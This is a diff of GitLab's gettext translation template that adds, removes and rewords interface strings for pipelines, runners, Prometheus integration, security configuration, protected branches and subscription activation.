msgstr ""
@@ -23793,9 +23801,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -23862,6 +23867,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23997,10 +24005,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24012,9 +24020,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24024,16 +24029,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24174,12 +24185,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24285,9 +24302,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24498,10 +24512,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24585,10 +24599,13 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
-msgid "Please provide a valid URL ending with .git"
+msgid "Please provide a valid URL."
msgstr ""
msgid "Please provide a valid YouTube URL or ID"
@@ -24627,6 +24644,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24672,9 +24692,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24861,6 +24878,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -25119,6 +25139,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25215,7 +25238,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25503,9 +25526,6 @@ msgstr ""
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25554,9 +25574,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26103,9 +26120,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -26280,21 +26294,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26310,18 +26321,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26337,9 +26339,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26352,6 +26351,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26367,7 +26369,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26376,6 +26378,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26532,13 +26537,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26583,7 +26591,7 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
@@ -26637,13 +26645,10 @@ msgstr ""
msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
-msgid "Protocol"
-msgstr ""
-
-msgid "Provide feedback"
+msgid "Provider"
msgstr ""
-msgid "Provider"
+msgid "Provision instructions"
msgstr ""
msgid "Provisioned by:"
@@ -27256,6 +27261,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27271,15 +27279,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27295,9 +27297,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27445,15 +27444,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27463,15 +27465,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27871,6 +27864,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28021,12 +28017,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28139,6 +28129,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28217,12 +28210,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28232,6 +28234,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28241,9 +28246,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28262,6 +28276,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28325,6 +28351,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28403,6 +28435,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28454,7 +28492,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -28490,6 +28528,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28845,6 +28886,12 @@ msgstr ""
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Code snippet for the %{scanType} configuration"
+msgstr ""
+
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
@@ -28857,6 +28904,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -28881,36 +28934,66 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
+msgid "SecurityConfiguration|Security testing"
+msgstr ""
+
msgid "SecurityConfiguration|Status"
msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -28923,6 +29006,21 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -28935,7 +29033,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -28998,6 +29096,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29103,6 +29204,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29238,6 +29342,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29340,9 +29453,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29475,10 +29585,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29520,9 +29630,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29628,9 +29735,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29658,6 +29762,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29838,9 +29945,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29865,6 +29969,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -29919,9 +30026,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30007,6 +30111,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30340,9 +30447,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30769,15 +30873,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31000,13 +31095,25 @@ msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
msgid "StatusCheck|An error occurred fetching the status checks."
msgstr ""
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
msgstr ""
msgid "StatusCheck|No status checks are defined yet."
@@ -31027,6 +31134,12 @@ msgstr ""
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31060,9 +31173,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -31480,15 +31590,45 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while activating your subscription."
msgstr ""
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
@@ -31504,24 +31644,42 @@ msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31531,21 +31689,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
msgstr ""
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31564,7 +31749,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31579,18 +31764,12 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
-msgstr ""
-
msgid "Sync now"
msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
-msgstr ""
-
msgid "Synchronization settings"
msgstr ""
@@ -31783,12 +31962,18 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -32082,6 +32267,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -32112,9 +32300,6 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
-msgstr ""
-
msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
@@ -32186,9 +32371,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32222,7 +32404,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32252,6 +32434,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32347,15 +32532,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32440,18 +32625,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
